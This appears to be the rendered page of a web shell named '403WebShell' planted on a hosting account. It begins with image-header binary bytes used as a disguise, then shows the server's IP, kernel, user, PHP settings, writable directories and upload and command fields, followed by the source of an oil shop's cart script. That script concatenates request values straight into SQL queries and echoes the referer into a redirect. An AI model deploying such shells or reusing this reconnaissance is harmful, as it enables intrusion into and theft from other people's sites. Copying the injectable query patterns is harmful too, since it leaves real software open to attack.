RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð .......................................===Shadow-Here===........................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------ //////////////////////////////////////////////////////////////////////////////////////////////// GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 148.135.140.132  /  Your IP : 18.220.18.165
Web Server : LiteSpeed
System : Linux in-mum-web1116.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u496275626 ( 496275626)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u496275626/domains/dharmacoldpressedoil.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u496275626/domains/dharmacoldpressedoil.com/public_html/action.php
<?php
include_once("admin/include/config.php");
$sel_obj         = new config();
$temp_session_id = session_id();
/*============= Offers Discount Function =============*/
function offers_discount($p_id='', $qty=''){
    $sel_obj         = new config(); 
    $p_cond="`p_id`=".$p_id;
    $p_qu=$sel_obj->display_rcd("product",$p_cond);
    if(is_array($p_qu) AND !empty($p_qu))
    {
       foreach($p_qu as $p_da)
       {
         
       }
    }
    $offer_array = array(
            'offer_discount_amount' => 0 , 
            'offer_name' => NULL,
            'shipping_price' => $p_da['shipping_price'], 
            'packaging_price' => $p_da['packaging_price']
        );
    $total_amount = $p_da['d_price']*$qty;
    $offers = json_decode($p_da['offers'], true);
    if (!empty($offers)) {
        foreach ($offers as $offer) {
            if ($qty >= $offer['offer_qty']) {
                if ($offer['offer_discount_type']=="percent") {
                    $offer_discount_amount = ($offer['offer_discount']*$total_amount)/100;
                }
                if ($offer['offer_discount_type']=="flat") {
                    $offer_discount_amount = $offer['offer_discount'];
                }
                if ($offer['free_delivery']==1) {
                    $shipping_price = 0;
                }else{
                    $shipping_price = $p_da['shipping_price'];
                }
                if ($offer['free_packaging']==1) {
                    $packaging_price = 0;
                }else{
                    $packaging_price = $p_da['packaging_price'];
                }
                $offer_array = array(
                    'offer_discount_amount' => round($offer_discount_amount) , 
                    'offer_name' => $offer['offer_title'],
                    'shipping_price' => $shipping_price, 
                    'packaging_price' => $packaging_price 
                );
            }
        }
        return $offer_array;
    }else {
        $offer_array = array(
            'offer_discount_amount' => 0 , 
            'offer_name' => NULL,
            'shipping_price' => $p_da['shipping_price'], 
            'packaging_price' => $p_da['packaging_price']
        );
        return $offer_array;
    }
    
}
// $off_array = offers_discount(1050, 8);
// print_r($off_array);
// die();
/*====================================================*/
if (isset($_POST['temp_id_s']) AND isset($temp_session_id)) {
    $status = '1';
    
    $temp_id         = $sel_obj->validation($_POST['temp_id_s']);
    $p_id            = $sel_obj->validation($_POST['product_id_s']);
    $p_name          = $sel_obj->validation($_POST['p_name_s']);
    $p_code          = $sel_obj->validation($_POST['p_code_s']);
    $img             = $sel_obj->validation($_POST['p_img_s']);
    $quantity        = $sel_obj->validation($_POST['qtn_s']);
    $price           = $sel_obj->validation($_POST['r_p_s']);
    $d_price         = $sel_obj->validation($_POST['o_p_s']);
    $gst             = $sel_obj->validation($_POST['gst_s']);
    $shipping_price  = $sel_obj->validation($_POST['shipping_price_s']);
    $packaging_price = $sel_obj->validation($_POST['packaging_price_s']);

    $col_val         = array(
        'temp_id' => $temp_id,
        'p_id' => $p_id,
        'p_name' => $p_name,
        'p_code' => $p_code,
        'img' => $img,
        'quantity' => $quantity,
        'price' => $price,
        'd_price' => $d_price,
        'gst' => $gst,
        'status' => $status,
        'shipping_price' => $shipping_price,
        'packaging_price' => $packaging_price
    );
    $where_con1      = "`status` = '1'  and `p_id`='$p_id'  and `temp_id`=" . "'$temp_id'";
    $all_count_where = $sel_obj->all_count_row('temp_cart', $where_con1);
     /*--------- Product Info ----------*/
    $p_condition="`p_id`=".$p_id;
    $p_query=$sel_obj->display_rcd("product",$p_condition);
    if(is_array($p_query) AND !empty($p_query))
    {
       foreach($p_query as $p_data)
       {
         
       }
    }
    if ($p_data['max_qty_per_user'] > $p_data['quan_available']) {
        $max_qty_per_user = $p_data['quan_available'];
    }else{
        $max_qty_per_user = $p_data['max_qty_per_user'];
    }
    /*-------------------------------------*/
    if ($all_count_where > 0) {
        $fetch_product = $sel_obj->all_fetch("temp_cart", array(
            'p_id' => $p_id,
            'temp_id' => $temp_id
        ));
        if (is_array($fetch_product) || is_object($fetch_product)) {
            foreach ($fetch_product as $old_qtn) {
                
            }
            $qtn       = $old_qtn->quantity;
            $qtn_count = $qtn + 1;
        }
        /*------- Check Max Qty per user  -----*/
        if ($qtn_count > $max_qty_per_user) {
            echo $max_qty_per_user." units "; exit();
        }
        /*---------- Check Offer Discount -------------*/
        $off_array = offers_discount($p_id, $qtn_count);
        /*---------------------------------------------*/
        $update_query = $sel_obj->update('temp_cart', array(
            'quantity' => $qtn_count,
            'shipping_price' => $off_array['shipping_price'],
            'packaging_price' => $off_array['packaging_price'],
            'offer_discount' => $off_array['offer_discount_amount'],
            'offer_name' => $off_array['offer_name'],
        ), array(
            'p_id' => $p_id,
            'temp_id' => $temp_id
        ));
        if ($update_query == true)
            echo $update_query;
        
    } else {
        /*------- Check Max Qty per user  -----*/
        if ($quantity > $max_qty_per_user) {
            echo $max_qty_per_user." units "; exit();
        }
        /*---------- Check Offer Discount -------------*/
        $off_array = offers_discount($p_id, $quantity);
            $col_val['shipping_price'] = $off_array['shipping_price'];
            $col_val['packaging_price'] = $off_array['packaging_price'];
            $col_val['offer_discount'] = $off_array['offer_discount_amount'];
            $col_val['offer_name'] = $off_array['offer_name'];
        /*---------------------------------------------*/
        $row = $sel_obj->insert('temp_cart', $col_val);
        if ($row == true) {
            $delete_query = $sel_obj->delete_all("shiping");
            echo $row;
        }
        
    }
    
    
}

?>

<?php
if (isset($_POST['p_id'])) {
    $status1 = "1";
    
    $temp_id1         = $sel_obj->validation($_POST['temp_id']);
    $p_code1          = $sel_obj->validation($_POST['p_code']);
    $p_img1           = $sel_obj->validation($_POST['img']);
    $product_id1      = $sel_obj->validation($_POST['p_id']);
    $gst1             = $sel_obj->validation($_POST['gst']);
    $r_p1             = $sel_obj->validation($_POST['r_price']);
    $o_p1             = $sel_obj->validation($_POST['d_price']);
    $p_name1          = $sel_obj->validation($_POST['p_name']);
    $qtn1             = $sel_obj->validation($_POST['quantity']);
    $shipping_price1  = $sel_obj->validation($_POST['shipping_price']);
    $packaging_price1 = $sel_obj->validation($_POST['packaging_price']);
    
    $single_product = array(
        'temp_id' => $temp_id1,
        'p_id' => $product_id1,
        'p_name' => $p_name1,
        'p_code' => $p_code1,
        'img' => $p_img1,
        'quantity' => $qtn1,
        'price' => $r_p1,
        'd_price' => $o_p1,
        'gst' => $gst1,
        'status' => $status1,
        'shipping_price' => $shipping_price1,
        'packaging_price' => $packaging_price1
    );
    
    // print_r($single_product);
    
    $single_product_cond      = "`status` = '1'  and `p_id`='$product_id1'  and `temp_id`=" . "'$temp_id1'";
    $all_count_single_product = $sel_obj->all_count_row('temp_cart', $single_product_cond);
    /*--------- Product Info ----------*/
    $p_condition="`p_id`=".$product_id1;
    $p_query=$sel_obj->display_rcd("product",$p_condition);
    
    if(is_array($p_query) AND !empty($p_query))
    {
       foreach($p_query as $p_data)
       {
         
       }
    }
   // print_r($p_data['quan_available']);die;
    if ($p_data['max_qty_per_user'] > $p_data['quan_available']) {
        $max_qty_per_user = $p_data['quan_available'];
    }else{
        $max_qty_per_user = $p_data['max_qty_per_user'];
    }
    /*-------------------------------------*/
    if ($all_count_single_product > 0) {
        $fetch_product = $sel_obj->all_fetch("temp_cart", array(
            'p_id' => $product_id1,
            'temp_id' => $temp_id1
        ));
        if (is_array($fetch_product) || is_object($fetch_product)) {
            foreach ($fetch_product as $old_qtn) {
                
            }
            $qtn       = $old_qtn->quantity;
            $qtn_count = $qtn + $qtn1;
        }
        /*------- Check Max Qty per user  -----*/
        if ($qtn_count > $max_qty_per_user) {
            echo $max_qty_per_user." units "; exit();
        }
        /*---------- Check Offer Discount -------------*/
        $off_array = offers_discount($product_id1, $qtn_count);
        /*---------------------------------------------*/
        $update_query = $sel_obj->update('temp_cart', array(
            'quantity' => $qtn_count,
            'shipping_price' => $off_array['shipping_price'],
            'packaging_price' => $off_array['packaging_price'],
            'offer_discount' => $off_array['offer_discount_amount'],
            'offer_name' => $off_array['offer_name'],
        ), array(
            'p_id' => $product_id1,
            'temp_id' => $temp_id1
        ));
        if ($update_query == true)
            echo $update_query;
    } else {
        /*------- Check Max Qty per user  -----*/
        if ( $qtn1 > $max_qty_per_user) {
            echo $max_qty_per_user." units "; exit();
        }
        /*---------- Check Offer Discount -------------*/
        $off_array = offers_discount($product_id1, $qtn1);
            $single_product['shipping_price'] = $off_array['shipping_price'];
            $single_product['packaging_price'] = $off_array['packaging_price'];
            $single_product['offer_discount'] = $off_array['offer_discount_amount'];
            $single_product['offer_name'] = $off_array['offer_name'];
        /*---------------------------------------------*/
        $row1 = $sel_obj->insert('temp_cart', $single_product);
        if ($row1 == true) {
            $delete_query = $sel_obj->delete_all("shiping");
            echo $row1;
        }
        
    }
}
// else
// {
//   echo "error";
// }

?>



<?php
if (isset($_GET['temp_item'])) {
    
    $temp_idd  = $sel_obj->validation($_GET['temp_id']);
    $where_con = "`status` = 1 AND  `temp_id`=" . "'$temp_idd'";
    echo $all_count_where = $sel_obj->all_count_row('temp_cart', $where_con);
    
    
}
?>

 

  <?php
/*------- Delete Cart ------*/
if (isset($_GET['remove'])) {
    $redirect_url = $_SERVER['HTTP_REFERER'];
    $remove         = base64_decode($_GET['remove']);
    $where_con_cart = "`status` = 1 AND  `id`=" . "'$remove'";
    $all_count_cart = $sel_obj->all_count_row('temp_cart', $where_con_cart);
    //print_r($all_count_cart); die();
    if ($all_count_cart) {
        $where = array(
            'id' => $remove,
            'status' => 1
        );
        if ($sel_obj->delete("temp_cart", $where)) {
            $delete_query = $sel_obj->delete_all("shiping");
        }
    }
    echo "<script>window.location.href='".$redirect_url."'</script>";
}
/*---------- Save for later ------*/
if (isset($_GET['savetolater'])) {
    $redirect_url = $_SERVER['HTTP_REFERER'];
    $savetolater         = base64_decode($_GET['savetolater']);
    $where_con_cart = "`status` = 1 AND  `id`=" . "'$savetolater'";
    $all_count_cart = $sel_obj->all_count_row('temp_cart', $where_con_cart);
    //print_r($all_count_cart); die();
    if ($all_count_cart) {
        $where = array(
            'id' => $savetolater,
            'status' => 1
        );
        $update_cart = $sel_obj->update('temp_cart',array('status' => 2),$where); 
    }
    echo "<script>window.location.href='".$redirect_url."'</script>";
}
/*---------- Move to cart ------------*/
if (isset($_GET['movetocart'])) {
    $redirect_url = $_SERVER['HTTP_REFERER'];
    $movetocart         = base64_decode($_GET['movetocart']);
    $where_con_cart = "`status` = 2 AND  `id`=" . "'$movetocart'";
    $all_count_cart = $sel_obj->all_count_row('temp_cart', $where_con_cart);
    //print_r($all_count_cart); die();
    if ($all_count_cart) {
        $where = array(
            'id' => $movetocart,
            'status' => 2
        );
        $update_cart = $sel_obj->update('temp_cart',array('status' => 1),$where); 
    }
    echo "<script>window.location.href='".$redirect_url."'</script>";
}
/*--------- Remove from saved items --------*/
if (isset($_GET['removesaveditem'])) {
    $redirect_url = $_SERVER['HTTP_REFERER'];
    $removesaveditem         = base64_decode($_GET['removesaveditem']);
    $where_con_cart = "`status` = 2 AND  `id`=" . "'$removesaveditem'";
    $all_count_cart = $sel_obj->all_count_row('temp_cart', $where_con_cart);
    //print_r($all_count_cart); die();
    if ($all_count_cart) {
        $where = array(
            'id' => $removesaveditem,
            'status' => 2
        );
        if ($sel_obj->delete("temp_cart", $where)) {
            $delete_query = $sel_obj->delete_all("shiping");
        }
    }
    echo "<script>window.location.href='".$redirect_url."'</script>";
}
/*-----------------------------------*/
?>


  <?php

if (isset($_POST['productkey'])) {
    
    $p_id = $sel_obj->validation($_POST['productkey']);
    $qnt  = $sel_obj->validation($_POST['plusqunt']);
    $id   = $sel_obj->validation($_POST['id']);
     /*--------- Product Info ----------*/
    $p_condition="`p_id`=".$p_id;
    $p_query=$sel_obj->display_rcd("product",$p_condition);
    if(is_array($p_query) AND !empty($p_query))
    {
       foreach($p_query as $p_data)
       {
         
       }
    }
    if ($p_data['max_qty_per_user'] > $p_data['quan_available']) {
        $max_qty_per_user = $p_data['quan_available'];
    }else{
        $max_qty_per_user = $p_data['max_qty_per_user'];
    }
    /*------- Check Max Qty per user  -----*/
    if ($qnt > $max_qty_per_user) {
        echo $max_qty_per_user." units "; exit();
    }
    /*-------------------------------------*/
    if (is_numeric($id)) {
        $where_con_cart1 = "`status` = 1 AND  `id`=" . "'$id'";
        $all_count_cart1 = $sel_obj->all_count_row('temp_cart', $where_con_cart1);
        if ($all_count_cart1) {
            /*---------- Check Offer Discount -------------*/
            $off_array = offers_discount($p_id, $qnt);
            /*---------------------------------------------*/
            if ($sel_obj->update("temp_cart", array(
                'quantity' => $qnt,
                'shipping_price' => $off_array['shipping_price'],
                'packaging_price' => $off_array['packaging_price'],
                'offer_discount' => $off_array['offer_discount_amount'],
                'offer_name' => $off_array['offer_name'],
            ), array(
                'id' => $id
            ))) {
                $delete_query = $sel_obj->delete_all("shiping");
                echo 1;
            }
        }
        
    }
}
?>


 <?php

if (isset($_POST['state']) AND !empty($_POST['subtotal']) AND is_numeric($_POST['subtotal']) AND !empty($_POST['tempid'])) {
    
    
    $shipping_cost_gst = "";
    $state             = $sel_obj->validation($_POST['state']);
    $subtotal          = $sel_obj->validation($_POST['subtotal']);
    
    $tempid = $sel_obj->validation($_POST['tempid']);
    
    $user_id = $sel_obj->validation($_POST['user_id']);
    
    
    
    
    
    if ($subtotal > 3000) {
        $shippingcost        = 67;
        $discount_percentage = 40;
        
        $shipping_cost_gst = $sel_obj->get_percentage($shippingcost, $discount_percentage);
        
        $insert_shiping = array(
            
            'temp_id' => $tempid,
            'user_id' => $user_id,
            'shiping_cost' => $shipping_cost_gst
            
        );
        
        
        $delete_query = $sel_obj->delete_all("shiping");
        
        if ($delete_query) {
            $sel_obj->insert("shiping", $insert_shiping);
        }
        
        
    } elseif ($subtotal < 3000) {
        $shippingcost        = 67;
        $discount_percentage = 18;
        
        $shipping_cost_gst = $sel_obj->get_percentage($shippingcost, $discount_percentage);
        $total_shiping     = ($shippingcost + $shipping_cost_gst);
        
        $insert_shiping = array(
            'temp_id' => $tempid,
            'user_id' => $user_id,
            'shiping_cost' => $total_shiping
        );
        
        
        $delete_query = $sel_obj->delete_all("shiping");
        
        if ($delete_query) {
            $sel_obj->insert("shiping", $insert_shiping);
        }
        
    }
    
    
    
}

if (isset($_POST['pincode'])) {
    $pincode = $sel_obj->validation($_POST['pincode']);
    
    $where_pin         = "`pincode`=" . "'$pincode'";
    $all_count_pincode = $sel_obj->all_count_row('all_pincode', $where_pin);
    
    if ($all_count_pincode == 1) {
?>
    <p class="text-success font-weight-bold"> Item delivery available at <?php
        echo $pincode;
?></p>
    <?php
    } else {
?>
  <p class="text-danger">We are not available at this (<?php
        echo $pincode;
?>) location.<br>
   Please try another Pincode.</p>
   <?php
    }
}

/*============== Rating functionality ===========*/
if (isset($_POST['submit_rating'])) {
    // print_r($_POST);
    // echo "<div class='alert alert-success' role='alert'> Thanks for rating us </div>"; die();
    $message = "";
    if ($_POST['rating'] == "") {
        $message = "<div class='alert alert-danger' role='alert'> Please select star </div>";
        echo $message;
        exit();
    }
    $check_data   = array(
        'user_id' => $_POST['user_id'],
        'product_id' => $_POST['product_id']
    );
    $rate_data    = array(
        'rating' => $_POST['rating'],
        'comment' => $_POST['comment'],
        'user_id' => $_POST['user_id'],
        'product_id' => $_POST['product_id']
    );
    $check_rating = $sel_obj->all_fetch("tbl_rating", $check_data);
    if ($check_rating != 0) {
        $update_rating = $sel_obj->update('tbl_rating', $rate_data, $check_data);
        $message       = "<div class='alert alert-success' role='alert'> Updated Successfully </div>";
    } else {
        $rate_data['created_at'] = date('Y-m-d H:i:s');
        $insert_rating           = $sel_obj->insert('tbl_rating', $rate_data);
        $message                 = "<div class='alert alert-success' role='alert'> Thanks for rating us </div>";
    }
    echo $message;
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit